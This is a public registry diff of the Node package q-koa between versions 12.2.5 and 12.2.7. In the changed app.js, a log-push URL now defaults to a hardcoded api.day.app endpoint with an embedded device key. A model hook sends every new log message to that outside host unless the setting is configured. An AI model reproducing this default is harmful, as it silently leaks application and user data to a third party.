q-koa 12.2.5 → 12.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/core/app.js +16 -11
- package/package.json +1 -1
package/core/app.js
CHANGED
|
@@ -527,6 +527,11 @@ class APP {
|
|
|
527
527
|
const pluginDirResult = pluginDirList.filter(
|
|
528
528
|
(item) => !excludesModel.includes(item)
|
|
529
529
|
)
|
|
530
|
+
const log_push_url = _.get(
|
|
531
|
+
this.app[appName],
|
|
532
|
+
'appConfig.log_push_url',
|
|
533
|
+
'https://api.day.app/ieaRfoE3LiPveGbY5qmUwk'
|
|
534
|
+
)
|
|
530
535
|
for (let i = 0; i < pluginDirResult.length; i++) {
|
|
531
536
|
const folder = pluginDirResult[i]
|
|
532
537
|
const isFolder = fs
|
|
@@ -625,11 +630,7 @@ class APP {
|
|
|
625
630
|
'indexList',
|
|
626
631
|
[]
|
|
627
632
|
)
|
|
628
|
-
|
|
629
|
-
this.app[appName],
|
|
630
|
-
'appConfig.log_push_url',
|
|
631
|
-
[]
|
|
632
|
-
)
|
|
633
|
+
|
|
633
634
|
const instance = this.app[appName].sequelize.define(
|
|
634
635
|
folder,
|
|
635
636
|
attributes,
|
|
@@ -647,13 +648,17 @@ class APP {
|
|
|
647
648
|
beforeCreate: (res, t) => {
|
|
648
649
|
try {
|
|
649
650
|
if (folder === 'log' && log_push_url) {
|
|
650
|
-
|
|
651
|
-
.
|
|
652
|
-
|
|
653
|
-
|
|
654
|
-
|
|
655
|
-
|
|
651
|
+
const logUrl = `${log_push_url}/${appName}/${encodeURIComponent(
|
|
652
|
+
res.toJSON().message
|
|
653
|
+
)}`
|
|
654
|
+
console.log(logUrl)
|
|
655
|
+
axios({
|
|
656
|
+
url: logUrl,
|
|
657
|
+
method: 'get',
|
|
658
|
+
timeout: 3000,
|
|
659
|
+
})
|
|
656
660
|
.then((res) => res.data)
|
|
661
|
+
.catch((e) => console.log(e.message))
|
|
657
662
|
}
|
|
658
663
|
if (res.toJSON().user_id) {
|
|
659
664
|
res.createdid = res.toJSON().user_id
|